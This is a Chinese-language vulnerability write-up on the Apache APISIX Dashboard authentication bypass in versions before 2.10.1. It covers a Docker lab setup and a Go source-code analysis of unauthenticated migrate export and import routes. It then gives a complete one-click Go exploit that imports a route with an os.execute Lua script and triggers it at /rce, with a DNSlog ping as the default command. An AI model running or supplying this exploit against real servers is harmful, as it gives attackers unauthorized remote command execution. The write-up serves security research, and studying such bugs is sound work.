安装docker和docker-compose,然后
1git clone https://github.com/apache/apisix-docker
修改 /home/ubuntu/apisix-docker/example/docker-compose.yml
文件,改一个老版本。
然后 docker-compose -p docker-apisix up -d
默认会起几个服务,9000端口是Dashboard,9080是endpoint。
根据官方公告 和Apache的list
In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework
droplet
on the basis of frameworkgin
, all APIs and authentication middleware are developed based on frameworkdroplet
, but some API directly use the interface of frameworkgin
thus bypassing the authentication.
可知漏洞产生原因为该用gin的用了droplet框架,然后导致某些api没鉴权。
authentication.go文件的逻辑用gin框架重写了。
看下在哪用到的,go程序入口都在main.go文件中,该项目用到了cobra库,所以在api/cmd/root.go中是真正程序启动的地方
这里调用了manageAPI函数
在该函数中,新建了一个server,然后进入Start函数,而Start函数所在的api/internal/core/server/server.go 有init初始化函数
在init函数中setupAPI初始化manage api
添加了几个默认的中间件,这里用到了AuthenticationMiddleware授权中间件。而这里添加的中间件要想在路由中过滤应该规范写法,来看一个正确的写法
比如 http://127.0.0.1:9000/apisix/admin/tool/version api/internal/handler/tool/tool.go:40
在应用路由的时候用到wgin.Wraps(h.Version)
来包装函数,而在api/internal/handler/migrate/migrate.go:45
中没进行包装,导致授权中间件不起作用。
所以两个api可以未授权访问
1r.GET("/apisix/admin/migrate/export", h.ExportConfig)
2r.POST("/apisix/admin/migrate/import", h.ImportConfig)
根据官网文档来看,有一个Script功能 可以执行lua脚本。由此我们可以通过导出配置,然后修改配置加上一个script块再通过未授权接口覆盖导入。
先通过http://127.0.0.1:9000/apisix/admin/migrate/export 导出配置,然后加上"script": "os.execute('touch /tmp/a')"
块
然后重新计算下crc32附加到文件末尾导入,最后访问http://172.16.16.129:9080/rce 执行命令。
贴一个来自c26的一键梭哈脚本
1package main
2
3import (
4 "bytes"
5 "encoding/binary"
6 "errors"
7 "fmt"
8 "hash/crc32"
9 "io"
10 "io/ioutil"
11 "log"
12 "mime/multipart"
13 "net/http"
14)
15
16var (
17 checksumLength = 4 // 4 bytes (uint32)
18 client = &http.Client{}
19)
20
21func main() {
22 url := "http://172.16.16.129:9000"
23 gatewayUrl := "http://172.16.16.129:9080"
24 cmd := "ping -nc1 apisix.dnslog.cn"
25 exploit(url, gatewayUrl, cmd)
26}
27
28func exploit(url, gatewayUrl string, cmd string) {
29 payload, err := gen(cmd)
30 if err != nil {
31 log.Fatal(err)
32 }
33 createRoute(payload, url)
34 requestEndpoint(gatewayUrl)
35}
36
37func requestEndpoint(gatewayUrl string) {
38 res, err := client.Get(gatewayUrl + "/rce")
39 if err != nil {
40 return
41 }
42 b, err := ioutil.ReadAll(res.Body)
43 if err != nil {
44 log.Fatal(err)
45 }
46 fmt.Println(string(b))
47}
48
49func createRoute(payload []byte, url string) {
50 body := &bytes.Buffer{}
51 writer := multipart.NewWriter(body)
52
53 part, err := writer.CreateFormFile("file", "test")
54 if err != nil {
55 log.Fatal(err)
56 }
57 _, err = io.Copy(part, bytes.NewReader(payload))
58 _ = writer.WriteField("mode", "overwrite")
59 if err := writer.Close(); err != nil {
60 log.Fatal(err)
61 }
62
63 req, err := http.NewRequest("POST", url+"/apisix/admin/migrate/import", body)
64 if err != nil {
65 log.Fatal(err)
66 }
67 req.Header.Add("Content-Type", writer.FormDataContentType())
68
69 res, err := client.Do(req)
70 if err != nil {
71 log.Fatal(err)
72 }
73
74 b, err := ioutil.ReadAll(res.Body)
75 if err != nil {
76 log.Fatal(err)
77 }
78 fmt.Println(string(b))
79}
80
81func gen(cmd string) ([]byte, error) {
82 data := []byte(fmt.Sprintf(`{"Counsumers":[],"Routes":[{"id":"387796883096994503","create_time":1640674554,"update_time":1640677637,"uris":["/rce"],"name":"rce","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('%s')","script_id":"387796883096994503","upstream_id":"387796832866009799","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"387796832866009799","create_time":1640674524,"update_time":1640674524,"nodes":[{"host":"10.18.134.63","port":58344,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"testUpstream"}],"GlobalPlugins":[],"PluginConfigs":[]}`, cmd))
83
84 checksumUint32 := crc32.ChecksumIEEE(data)
85 checksum := make([]byte, checksumLength)
86 binary.BigEndian.PutUint32(checksum, checksumUint32)
87 content := append(data, checksum...)
88
89 importData := content[:len(content)-4]
90 checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
91 if checksum2 != crc32.ChecksumIEEE(importData) {
92 return nil, errors.New("Checksum check failure,maybe file broken")
93 }
94
95 return content, nil
96}
实际利用应该按情况根据导出的配置修改data字符串,不然可能会把目标的endpoint打坏。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。